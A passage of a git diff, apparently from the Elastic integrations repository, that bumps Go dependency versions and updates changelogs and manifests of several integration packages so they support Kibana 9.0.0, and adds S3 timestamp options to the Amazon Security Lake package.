a package installed ingest pipelines, those will intercept the data and transform it before it is indexed. + +5. Visualize the results + + Integrations can and should ship with custom dashboards and visualizations that are installed with the integration. Use these for a tailored view of your {{observability}} data. + + + diff --git a/docs/images/backport_input_step.png b/docs/images/backport_input_step.png new file mode 100644 index 00000000000..0ff21d04163 Binary files /dev/null and b/docs/images/backport_input_step.png differ diff --git a/docs/images/browse_package_commits.png b/docs/images/browse_package_commits.png new file mode 100644 index 00000000000..52a619a8491 Binary files /dev/null and b/docs/images/browse_package_commits.png differ diff --git a/docs/images/build.png b/docs/images/build.png new file mode 100644 index 00000000000..d91bd12c4fa Binary files /dev/null and b/docs/images/build.png differ diff --git a/docs/images/colors-in-visualizations.png b/docs/images/colors-in-visualizations.png new file mode 100644 index 00000000000..a58c8fe2138 Binary files /dev/null and b/docs/images/colors-in-visualizations.png differ diff --git a/docs/images/datastream-log-message.png b/docs/images/datastream-log-message.png new file mode 100644 index 00000000000..9887f64a27b Binary files /dev/null and b/docs/images/datastream-log-message.png differ diff --git a/docs/images/filter-in-visualization.png b/docs/images/filter-in-visualization.png new file mode 100644 index 00000000000..8b2e29707f0 Binary files /dev/null and b/docs/images/filter-in-visualization.png differ diff --git a/docs/images/grouping-in-visualizations.png b/docs/images/grouping-in-visualizations.png new file mode 100644 index 00000000000..f685eff9ef7 Binary files /dev/null and b/docs/images/grouping-in-visualizations.png differ diff --git a/docs/images/markdown-grouping.png b/docs/images/markdown-grouping.png new file mode 100644 index 00000000000..94389f92cd9 Binary files /dev/null and b/docs/images/markdown-grouping.png differ diff --git a/docs/images/merge_commit_message.png b/docs/images/merge_commit_message.png new file mode 100644 index 00000000000..06d72861d79 Binary files /dev/null and b/docs/images/merge_commit_message.png differ diff --git a/docs/images/package-installed.png b/docs/images/package-installed.png new file mode 100644 index 00000000000..0abb52aaf45 Binary files /dev/null and b/docs/images/package-installed.png differ diff --git a/docs/images/rows-in-visualizations.png b/docs/images/rows-in-visualizations.png new file mode 100644 index 00000000000..a9666e71fa2 Binary files /dev/null and b/docs/images/rows-in-visualizations.png differ diff --git a/docs/images/titles-in-visualizations.png b/docs/images/titles-in-visualizations.png new file mode 100644 index 00000000000..a0577adef3a Binary files /dev/null and b/docs/images/titles-in-visualizations.png differ diff --git a/go.mod b/go.mod index c57848481d7..2be43614e26 100644 --- a/go.mod +++ b/go.mod @@ -7,7 +7,7 @@ toolchain go1.23.4 require ( github.com/blang/semver v3.5.1+incompatible github.com/cli/go-gh/v2 v2.11.2 - github.com/elastic/elastic-package v0.109.1 + github.com/elastic/elastic-package v0.110.1 github.com/elastic/go-licenser v0.4.2 github.com/elastic/package-registry v1.27.0 github.com/magefile/mage v1.15.0 @@ -40,9 +40,9 @@ require ( github.com/PaesslerAG/gval v1.2.2 // indirect github.com/PaesslerAG/jsonpath v0.1.1 // indirect github.com/Pallinder/go-randomdata v1.2.0 // indirect - github.com/ProtonMail/go-crypto v1.1.4 // indirect + github.com/ProtonMail/go-crypto v1.1.6 // indirect github.com/ProtonMail/go-mime v0.0.0-20230322103455-7d82a3887f2f // indirect - github.com/ProtonMail/gopenpgp/v2 v2.8.2 // indirect + github.com/ProtonMail/gopenpgp/v2 v2.8.3 // indirect github.com/andybalholm/brotli v1.1.0 // indirect github.com/armon/go-radix v1.0.0 // indirect github.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2 // indirect @@ -96,7 +96,7 @@ require ( github.com/golang/snappy v0.0.4 // indirect github.com/google/btree v1.1.3 // indirect github.com/google/gnostic-models v0.6.8 // indirect - github.com/google/go-cmp v0.6.0 // indirect + github.com/google/go-cmp v0.7.0 // indirect github.com/google/go-github/v32 v32.1.0 // indirect github.com/google/go-querystring v1.1.0 // indirect github.com/google/gofuzz v1.2.0 // indirect @@ -163,8 +163,8 @@ require ( github.com/shopspring/decimal v1.4.0 // indirect github.com/spf13/afero v1.11.0 // indirect github.com/spf13/cast v1.7.0 // indirect - github.com/spf13/cobra v1.8.1 // indirect - github.com/spf13/pflag v1.0.5 // indirect + github.com/spf13/cobra v1.9.1 // indirect + github.com/spf13/pflag v1.0.6 // indirect github.com/stretchr/objx v0.5.2 // indirect github.com/tklauser/go-sysconf v0.3.14 // indirect github.com/tklauser/numcpus v0.8.0 // indirect @@ -213,17 +213,17 @@ require ( gopkg.in/evanphx/json-patch.v4 v4.12.0 // indirect gopkg.in/inf.v0 v0.9.1 // indirect gopkg.in/yaml.v2 v2.4.0 // indirect - helm.sh/helm/v3 v3.17.0 // indirect + helm.sh/helm/v3 v3.17.1 // indirect howett.net/plist v1.0.0 // indirect - k8s.io/api v0.32.1 // indirect - k8s.io/apiextensions-apiserver v0.32.0 // indirect - k8s.io/apimachinery v0.32.1 // indirect - k8s.io/cli-runtime v0.32.1 // indirect - k8s.io/client-go v0.32.1 // indirect - k8s.io/component-base v0.32.0 // indirect + k8s.io/api v0.32.2 // indirect + k8s.io/apiextensions-apiserver v0.32.1 // indirect + k8s.io/apimachinery v0.32.2 // indirect + k8s.io/cli-runtime v0.32.2 // indirect + k8s.io/client-go v0.32.2 // indirect + k8s.io/component-base v0.32.1 // indirect k8s.io/klog/v2 v2.130.1 // indirect k8s.io/kube-openapi v0.0.0-20241105132330-32ad38e42d3f // indirect - k8s.io/kubectl v0.32.0 // indirect + k8s.io/kubectl v0.32.1 // indirect k8s.io/utils v0.0.0-20241104100929-3ea5e8cea738 // indirect sigs.k8s.io/json v0.0.0-20241010143419-9aa6b5e7a4b3 // indirect sigs.k8s.io/kustomize/api v0.18.0 // indirect diff --git a/go.sum b/go.sum index 02837f20f1e..92e2e449172 100644 --- a/go.sum +++ b/go.sum @@ -58,12 +58,12 @@ github.com/PaesslerAG/jsonpath v0.1.1 h1:c1/AToHQMVsduPAa4Vh6xp2U0evy4t8SWp8imEs github.com/PaesslerAG/jsonpath v0.1.1/go.mod h1:lVboNxFGal/VwW6d9JzIy56bUsYAP6tH/x80vjnCseY= github.com/Pallinder/go-randomdata v1.2.0 h1:DZ41wBchNRb/0GfsePLiSwb0PHZmT67XY00lCDlaYPg= github.com/Pallinder/go-randomdata v1.2.0/go.mod h1:yHmJgulpD2Nfrm0cR9tI/+oAgRqCQQixsA8HyRZfV9Y= -github.com/ProtonMail/go-crypto v1.1.4 h1:G5U5asvD5N/6/36oIw3k2bOfBn5XVcZrb7PBjzzKKoE= -github.com/ProtonMail/go-crypto v1.1.4/go.mod h1:rA3QumHc/FZ8pAHreoekgiAbzpNsfQAosU5td4SnOrE= +github.com/ProtonMail/go-crypto v1.1.6 h1:ZcV+Ropw6Qn0AX9brlQLAUXfqLBc7Bl+f/DmNxpLfdw= +github.com/ProtonMail/go-crypto v1.1.6/go.mod h1:rA3QumHc/FZ8pAHreoekgiAbzpNsfQAosU5td4SnOrE= github.com/ProtonMail/go-mime v0.0.0-20230322103455-7d82a3887f2f h1:tCbYj7/299ekTTXpdwKYF8eBlsYsDVoggDAuAjoK66k= github.com/ProtonMail/go-mime v0.0.0-20230322103455-7d82a3887f2f/go.mod h1:gcr0kNtGBqin9zDW9GOHcVntrwnjrK+qdJ06mWYBybw= -github.com/ProtonMail/gopenpgp/v2 v2.8.2 h1:fe/XagfxkHRCr+cLFMcoF7XwaASRGSmK/fmcmK8yo6o= -github.com/ProtonMail/gopenpgp/v2 v2.8.2/go.mod h1:pPWZyRQWpQ7g8NWsdZmUynNZ1R09k4MdbSHvm+KooqM= +github.com/ProtonMail/gopenpgp/v2 v2.8.3 h1:1jHlELwCR00qovx2B50DkL/FjYwt/P91RnlsqeOp2Hs= +github.com/ProtonMail/gopenpgp/v2 v2.8.3/go.mod h1:LiuOTbnJit8w9ZzOoLscj0kmdALY7hfoCVh5Qlb0bcg= github.com/andybalholm/brotli v1.0.1/go.mod h1:loMXtMfwqflxFJPmdbJO0a3KNoPuLBgiu3qAvBg8x/Y= github.com/andybalholm/brotli v1.1.0 h1:eLKJA0d02Lf0mVpIDgYnqXcUn0GqVmEFny3VuID1U3M= github.com/andybalholm/brotli v1.1.0/go.mod h1:sms7XGricyQI9K10gOSf56VKKWS4oLer58Q+mhRPtnY= @@ -108,7 +108,7 @@ github.com/cloudflare/circl v1.4.0/go.mod h1:PDRU+oXvdD7KCtgKxW95M5Z8BpSCJXQORiZ github.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGXZJjfX53e64911xZQV5JYwmTeXPW+k8Sc= github.com/cncf/xds/go v0.0.0-20241223141626-cff3c89139a3 h1:boJj011Hh+874zpIySeApCX4GeOjPl9qhRF3QuIZq+Q= github.com/cncf/xds/go v0.0.0-20241223141626-cff3c89139a3/go.mod h1:W+zGtBO5Y1IgJhy4+A9GOqVhqLpfZi+vwmdNXUehLA8= -github.com/cpuguy83/go-md2man/v2 v2.0.4/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o= +github.com/cpuguy83/go-md2man/v2 v2.0.6/go.mod h1:oOW0eioCTA6cOiMLiUPZOpcVxMig6NIQQ7OS05n1F4g= github.com/creack/pty v1.1.17/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr4O4= github.com/creack/pty v1.1.23 h1:4M6+isWdcStXEf15G/RbrMPOQj1dZ7HPZCGwE4kOeP0= github.com/creack/pty v1.1.23/go.mod h1:08sCNb52WyoAwi2QDyzUCTgcvVFhUzewun7wtTfvcwE= @@ -125,8 +125,8 @@ github.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkp github.com/dustin/go-humanize v1.0.1/go.mod h1:Mu1zIs6XwVuF/gI1OepvI0qD18qycQx+mFykh5fBlto= github.com/elastic/elastic-integration-corpus-generator-tool v0.10.0 h1:sx1lpZuTG5suJuvgix4FWQFCLFFbzkoOmPoHWYOPLCY= github.com/elastic/elastic-integration-corpus-generator-tool v0.10.0/go.mod h1:2/30n+2QRzRzus4TPVUV1T3U/j8g2ItUgvP0pcpjLGk= -github.com/elastic/elastic-package v0.109.1 h1:ATZVgYOCI6L5Yr0NxjSX+MsuK4UvXkpu9tDkO4K2vgo= -github.com/elastic/elastic-package v0.109.1/go.mod h1:vmVYISfxBrl0ejjKbm/AG0drjrmevysVg2ZIP7yewLo= +github.com/elastic/elastic-package v0.110.1 h1:FgzH+Zi2FiDFFSNppr+XfQYLAZQq6+ie/nzY65s1f2w= +github.com/elastic/elastic-package v0.110.1/go.mod h1:MhEPBf3q0KAue3QVXYxxfzTURJf4YkY8okQJFKKSjHk= github.com/elastic/go-elasticsearch/v7 v7.17.10 h1:TCQ8i4PmIJuBunvBS6bwT2ybzVFxxUhhltAs3Gyu1yo= github.com/elastic/go-elasticsearch/v7 v7.17.10/go.mod h1:OJ4wdbtDNk5g503kvlHLyErCgQwwzmDtaFC4XyOxXA4= github.com/elastic/go-licenser v0.4.2 h1:bPbGm8bUd8rxzSswFOqvQh1dAkKGkgAmrPxbUi+Y9+A= @@ -235,8 +235,9 @@ github.com/google/go-cmp v0.5.2/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/ github.com/google/go-cmp v0.5.3/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.9/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= -github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI= github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= +github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8= +github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU= github.com/google/go-github/v32 v32.1.0 h1:GWkQOdXqviCPx7Q7Fj+KyPoGm4SwHRh8rheoPhd27II= github.com/google/go-github/v32 v32.1.0/go.mod h1:rIEpZD9CTDQwDK9GDrtMTycQNA4JU3qBsCizh3q2WCI= github.com/google/go-querystring v1.0.0/go.mod h1:odCYkC5MyYFN7vkCjXpyrEuKhc/BUO6wN/zVPAxq5ck= @@ -447,10 +448,10 @@ github.com/spf13/afero v1.11.0 h1:WJQKhtpdm3v2IzqG8VMqrr6Rf3UYpEF239Jy9wNepM8= github.com/spf13/afero v1.11.0/go.mod h1:GH9Y3pIexgf1MTIWtNGyogA5MwRIDXGUr+hbWNoBjkY= github.com/spf13/cast v1.7.0 h1:ntdiHjuueXFgm5nzDRdOS4yfT43P5Fnud6DH50rz/7w= github.com/spf13/cast v1.7.0/go.mod h1:ancEpBxwJDODSW/UG4rDrAqiKolqNNh2DX3mk86cAdo= -github.com/spf13/cobra v1.8.1 h1:e5/vxKd/rZsfSJMUX1agtjeTDf+qv1/JdBF8gg5k9ZM= -github.com/spf13/cobra v1.8.1/go.mod h1:wHxEcudfqmLYa8iTfL+OuZPbBZkmvliBWKIezN3kD9Y= -github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA= -github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= +github.com/spf13/cobra v1.9.1 h1:CXSaggrXdbHK9CF+8ywj8Amf7PBRmPCOJugH954Nnlo= +github.com/spf13/cobra v1.9.1/go.mod h1:nDyEzZ8ogv936Cinf6g1RU9MRY64Ir93oCnqb9wxYW0= +github.com/spf13/pflag v1.0.6 h1:jFzHGLGAlb3ruxLB8MhbI6A8+AQX/2eW4qeyNZXNp2o= +github.com/spf13/pflag v1.0.6/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= @@ -681,30 +682,30 @@ gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= -helm.sh/helm/v3 v3.17.0 h1:DUD4AGdNVn7PSTYfxe1gmQG7s18QeWv/4jI9TubnhT0= -helm.sh/helm/v3 v3.17.0/go.mod h1:Mo7eGyKPPHlS0Ml67W8z/lbkox/gD9Xt1XpD6bxvZZA= +helm.sh/helm/v3 v3.17.1 h1:gzVoAD+qVuoJU6KDMSAeo0xRJ6N1znRxz3wyuXRmJDk= +helm.sh/helm/v3 v3.17.1/go.mod h1:nvreuhuR+j78NkQcLC3TYoprCKStLyw5P4T7E5itv2w= honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= howett.net/plist v1.0.0 h1:7CrbWYbPPO/PyNy38b2EB/+gYbjCe2DXBxgtOOZbSQM= howett.net/plist v1.0.0/go.mod h1:lqaXoTrLY4hg8tnEzNru53gicrbv7rrk+2xJA/7hw9g= -k8s.io/api v0.32.1 h1:f562zw9cy+GvXzXf0CKlVQ7yHJVYzLfL6JAS4kOAaOc= -k8s.io/api v0.32.1/go.mod h1:/Yi/BqkuueW1BgpoePYBRdDYfjPF5sgTr5+YqDZra5k= -k8s.io/apiextensions-apiserver v0.32.0 h1:S0Xlqt51qzzqjKPxfgX1xh4HBZE+p8KKBq+k2SWNOE0= -k8s.io/apiextensions-apiserver v0.32.0/go.mod h1:86hblMvN5yxMvZrZFX2OhIHAuFIMJIZ19bTvzkP+Fmw= -k8s.io/apimachinery v0.32.1 h1:683ENpaCBjma4CYqsmZyhEzrGz6cjn1MY/X2jB2hkZs= -k8s.io/apimachinery v0.32.1/go.mod h1:GpHVgxoKlTxClKcteaeuF1Ul/lDVb74KpZcxcmLDElE= -k8s.io/cli-runtime v0.32.1 h1:19nwZPlYGJPUDbhAxDIS2/oydCikvKMHsxroKNGA2mM= -k8s.io/cli-runtime v0.32.1/go.mod h1:NJPbeadVFnV2E7B7vF+FvU09mpwYlZCu8PqjzfuOnkY= -k8s.io/client-go v0.32.1 h1:otM0AxdhdBIaQh7l1Q0jQpmo7WOFIk5FFa4bg6YMdUU= -k8s.io/client-go v0.32.1/go.mod h1:aTTKZY7MdxUaJ/KiUs8D+GssR9zJZi77ZqtzcGXIiDg= -k8s.io/component-base v0.32.0 h1:d6cWHZkCiiep41ObYQS6IcgzOUQUNpywm39KVYaUqzU= -k8s.io/component-base v0.32.0/go.mod h1:JLG2W5TUxUu5uDyKiH2R/7NnxJo1HlPoRIIbVLkK5eM= +k8s.io/api v0.32.2 h1:bZrMLEkgizC24G9eViHGOPbW+aRo9duEISRIJKfdJuw= +k8s.io/api v0.32.2/go.mod h1:hKlhk4x1sJyYnHENsrdCWw31FEmCijNGPJO5WzHiJ6Y= +k8s.io/apiextensions-apiserver v0.32.1 h1:hjkALhRUeCariC8DiVmb5jj0VjIc1N0DREP32+6UXZw= +k8s.io/apiextensions-apiserver v0.32.1/go.mod h1:sxWIGuGiYov7Io1fAS2X06NjMIk5CbRHc2StSmbaQto= +k8s.io/apimachinery v0.32.2 h1:yoQBR9ZGkA6Rgmhbp/yuT9/g+4lxtsGYwW6dR6BDPLQ= +k8s.io/apimachinery v0.32.2/go.mod h1:GpHVgxoKlTxClKcteaeuF1Ul/lDVb74KpZcxcmLDElE= +k8s.io/cli-runtime v0.32.2 h1:aKQR4foh9qeyckKRkNXUccP9moxzffyndZAvr+IXMks= +k8s.io/cli-runtime v0.32.2/go.mod h1:a/JpeMztz3xDa7GCyyShcwe55p8pbcCVQxvqZnIwXN8= +k8s.io/client-go v0.32.2 h1:4dYCD4Nz+9RApM2b/3BtVvBHw54QjMFUl1OLcJG5yOA= +k8s.io/client-go v0.32.2/go.mod h1:fpZ4oJXclZ3r2nDOv+Ux3XcJutfrwjKTCHz2H3sww94= +k8s.io/component-base v0.32.1 h1:/5IfJ0dHIKBWysGV0yKTFfacZ5yNV1sulPh3ilJjRZk= +k8s.io/component-base v0.32.1/go.mod h1:j1iMMHi/sqAHeG5z+O9BFNCF698a1u0186zkjMZQ28w= k8s.io/klog/v2 v2.130.1 h1:n9Xl7H1Xvksem4KFG4PYbdQCQxqc/tTUyrgXaOhHSzk= k8s.io/klog/v2 v2.130.1/go.mod h1:3Jpz1GvMt720eyJH1ckRHK1EDfpxISzJ7I9OYgaDtPE= k8s.io/kube-openapi v0.0.0-20241105132330-32ad38e42d3f h1:GA7//TjRY9yWGy1poLzYYJJ4JRdzg3+O6e8I+e+8T5Y= k8s.io/kube-openapi v0.0.0-20241105132330-32ad38e42d3f/go.mod h1:R/HEjbvWI0qdfb8viZUeVZm0X6IZnxAydC7YU42CMw4= -k8s.io/kubectl v0.32.0 h1:rpxl+ng9qeG79YA4Em9tLSfX0G8W0vfaiPVrc/WR7Xw= -k8s.io/kubectl v0.32.0/go.mod h1:qIjSX+QgPQUgdy8ps6eKsYNF+YmFOAO3WygfucIqFiE= +k8s.io/kubectl v0.32.1 h1:/btLtXLQUU1rWx8AEvX9jrb9LaI6yeezt3sFALhB8M8= +k8s.io/kubectl v0.32.1/go.mod h1:sezNuyWi1STk4ZNPVRIFfgjqMI6XMf+oCVLjZen/pFQ= k8s.io/utils v0.0.0-20241104100929-3ea5e8cea738 h1:M3sRQVHv7vB20Xc2ybTt7ODCeFj6JSWYFzOFnYeS6Ro= k8s.io/utils v0.0.0-20241104100929-3ea5e8cea738/go.mod h1:OLgZIPagt7ERELqWJFomSt595RzquPNLL48iOWgYOg0= sigs.k8s.io/json v0.0.0-20241010143419-9aa6b5e7a4b3 h1:/Rv+M11QRah1itp8VhT6HoVx1Ray9eB4DBr+K+/sCJ8= diff --git a/packages/1password/changelog.yml b/packages/1password/changelog.yml index 69c975bf11c..e6019f52383 100644 --- a/packages/1password/changelog.yml +++ b/packages/1password/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "1.32.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "1.31.1" changes: - description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation. diff --git a/packages/1password/manifest.yml b/packages/1password/manifest.yml index 58459890ca2..07836055c73 100644 --- a/packages/1password/manifest.yml +++ b/packages/1password/manifest.yml @@ -1,7 +1,7 @@ format_version: "3.0.2" name: 1password title: "1Password" -version: "1.31.1" +version: "1.32.0" description: Collect logs from 1Password with Elastic Agent. type: integration categories: @@ -9,7 +9,7 @@ categories: - credential_management conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" screenshots: - src: /img/1password-signinattempts-screenshot.png title: Sign-in attempts diff --git a/packages/abnormal_security/changelog.yml b/packages/abnormal_security/changelog.yml index 48f47424287..f6249fe8c48 100644 --- a/packages/abnormal_security/changelog.yml +++ b/packages/abnormal_security/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "1.4.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "1.3.1" changes: - description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation. diff --git a/packages/abnormal_security/manifest.yml b/packages/abnormal_security/manifest.yml index df66d5acd50..2bc73e2ca2d 100644 --- a/packages/abnormal_security/manifest.yml +++ b/packages/abnormal_security/manifest.yml @@ -1,14 +1,14 @@ format_version: 3.2.1 name: abnormal_security title: Abnormal Security -version: 1.3.1 +version: "1.4.0" description: Collect logs from Abnormal Security with Elastic Agent. type: integration categories: - security conditions: kibana: - version: ^8.13.0 + version: "^8.13.0 || ^9.0.0" elastic: subscription: basic screenshots: diff --git a/packages/admin_by_request_epm/changelog.yml b/packages/admin_by_request_epm/changelog.yml index 63d14c46613..bf03f280f5d 100644 --- a/packages/admin_by_request_epm/changelog.yml +++ b/packages/admin_by_request_epm/changelog.yml @@ -1,3 +1,8 @@ +- version: "0.2.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "0.1.0" changes: - description: Initial release. diff --git a/packages/admin_by_request_epm/manifest.yml b/packages/admin_by_request_epm/manifest.yml index 02877d4114f..638a974921e 100644 --- a/packages/admin_by_request_epm/manifest.yml +++ b/packages/admin_by_request_epm/manifest.yml @@ -1,7 +1,7 @@ format_version: 3.3.0 name: admin_by_request_epm title: Admin By Request EPM -version: 0.1.0 +version: "0.2.0" source: license: "Elastic-2.0" description: "Collect logs from Admin By Request EPM with Elastic Agent." @@ -10,7 +10,7 @@ categories: - security conditions: kibana: - version: "^8.15.3" + version: "^8.15.3 || ^9.0.0" elastic: subscription: "basic" screenshots: diff --git a/packages/akamai/changelog.yml b/packages/akamai/changelog.yml index 7172e708f17..bd9ff52d055 100644 --- a/packages/akamai/changelog.yml +++ b/packages/akamai/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "2.28.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "2.27.3" changes: - description: Updated SSL description to be uniform and to include links to documentation. diff --git a/packages/akamai/manifest.yml b/packages/akamai/manifest.yml index e7996753001..53a0398166f 100644 --- a/packages/akamai/manifest.yml +++ b/packages/akamai/manifest.yml @@ -1,13 +1,13 @@ name: akamai title: Akamai -version: "2.27.3" +version: "2.28.0" description: Collect logs from Akamai with Elastic Agent. type: integration format_version: "3.0.2" categories: [security, cdn_security] conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" icons: - src: /img/akamai_logo.svg title: Akamai diff --git a/packages/amazon_security_lake/changelog.yml b/packages/amazon_security_lake/changelog.yml index 6087e0693f5..467d38d1bf1 100644 --- a/packages/amazon_security_lake/changelog.yml +++ b/packages/amazon_security_lake/changelog.yml @@ -1,4 +1,14 @@ # newer versions go on top +- version: "2.5.0" + changes: + - description: Add support to configure start_timestamp and ignore_older configurations for AWS S3 backed inputs. + type: enhancement + link: https://github.com/elastic/integrations/pull/12645 +- version: "2.4.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "2.3.1" changes: - description: Updated SSL description to be uniform and to include links to documentation. diff --git a/packages/amazon_security_lake/data_stream/event/agent/stream/aws-s3.yml.hbs b/packages/amazon_security_lake/data_stream/event/agent/stream/aws-s3.yml.hbs index 2f3400105f0..51e5afac1e9 100644 --- a/packages/amazon_security_lake/data_stream/event/agent/stream/aws-s3.yml.hbs +++ b/packages/amazon_security_lake/data_stream/event/agent/stream/aws-s3.yml.hbs @@ -14,6 +14,12 @@ bucket_list_interval: {{interval}} {{#if bucket_list_prefix}} bucket_list_prefix: {{bucket_list_prefix}} {{/if}} +{{#if start_timestamp}} +start_timestamp: {{start_timestamp}} +{{/if}} +{{#if ignore_older}} +ignore_older: {{ignore_older}} +{{/if}} {{else}} diff --git a/packages/amazon_security_lake/data_stream/event/manifest.yml b/packages/amazon_security_lake/data_stream/event/manifest.yml index a2044f5a25b..133058a79aa 100644 --- a/packages/amazon_security_lake/data_stream/event/manifest.yml +++ b/packages/amazon_security_lake/data_stream/event/manifest.yml @@ -92,6 +92,20 @@ streams: show_user: true default: 5 description: Number of workers that will process the S3 objects listed. It is a required parameter for collecting logs via the AWS S3 Bucket. + - name: start_timestamp + type: text + title: "[S3] Start Timestamp" + multi: false + required: false + show_user: false + description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset). + - name: ignore_older + type: text + title: "[S3] Ignore Older Timespan" + multi: false + required: false + show_user: false + description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`. - name: queue_url type: text title: "[SQS] Queue URL" diff --git a/packages/amazon_security_lake/manifest.yml b/packages/amazon_security_lake/manifest.yml index a358632df07..3da7571b924 100644 --- a/packages/amazon_security_lake/manifest.yml +++ b/packages/amazon_security_lake/manifest.yml @@ -1,13 +1,13 @@ format_version: "3.0.3" name: amazon_security_lake title: Amazon Security Lake -version: "2.3.1" +version: "2.5.0" description: Collect logs from Amazon Security Lake with Elastic Agent. type: integration categories: ["aws", "security"] conditions: kibana: - version: "^8.16.2" + version: "^8.16.5 || ^9.0.0" elastic: subscription: basic screenshots: diff --git a/packages/atlassian_bitbucket/changelog.yml b/packages/atlassian_bitbucket/changelog.yml index fc07b6dba02..85f335eb309 100644 --- a/packages/atlassian_bitbucket/changelog.yml +++ b/packages/atlassian_bitbucket/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "2.4.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "2.3.1" changes: - description: Updated SSL description to be uniform and to include links to documentation. diff --git a/packages/atlassian_bitbucket/manifest.yml b/packages/atlassian_bitbucket/manifest.yml index 3ba420e33e9..2beac4d7e35 100644 --- a/packages/atlassian_bitbucket/manifest.yml +++ b/packages/atlassian_bitbucket/manifest.yml @@ -1,7 +1,7 @@ format_version: "3.0.2" name: atlassian_bitbucket title: Atlassian Bitbucket -version: "2.3.1" +version: "2.4.0" description: Collect logs from Atlassian Bitbucket with Elastic Agent. type: integration categories: @@ -9,7 +9,7 @@ categories: - productivity_security conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" icons: - src: /img/bitbucket-logo.svg title: Bitbucket Logo diff --git a/packages/atlassian_confluence/changelog.yml b/packages/atlassian_confluence/changelog.yml index 8055214f93a..ba8f2ffb84c 100644 --- a/packages/atlassian_confluence/changelog.yml +++ b/packages/atlassian_confluence/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "1.28.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "1.27.1" changes: - description: Updated SSL description to be uniform and to include links to documentation. diff --git a/packages/atlassian_confluence/manifest.yml b/packages/atlassian_confluence/manifest.yml index bff7f7064b3..918189d2621 100644 --- a/packages/atlassian_confluence/manifest.yml +++ b/packages/atlassian_confluence/manifest.yml @@ -1,7 +1,7 @@ format_version: "3.0.2" name: atlassian_confluence title: Atlassian Confluence -version: "1.27.1" +version: "1.28.0" description: Collect logs from Atlassian Confluence with Elastic Agent. type: integration categories: @@ -9,7 +9,7 @@ categories: - productivity_security conditions: kibana: - version: 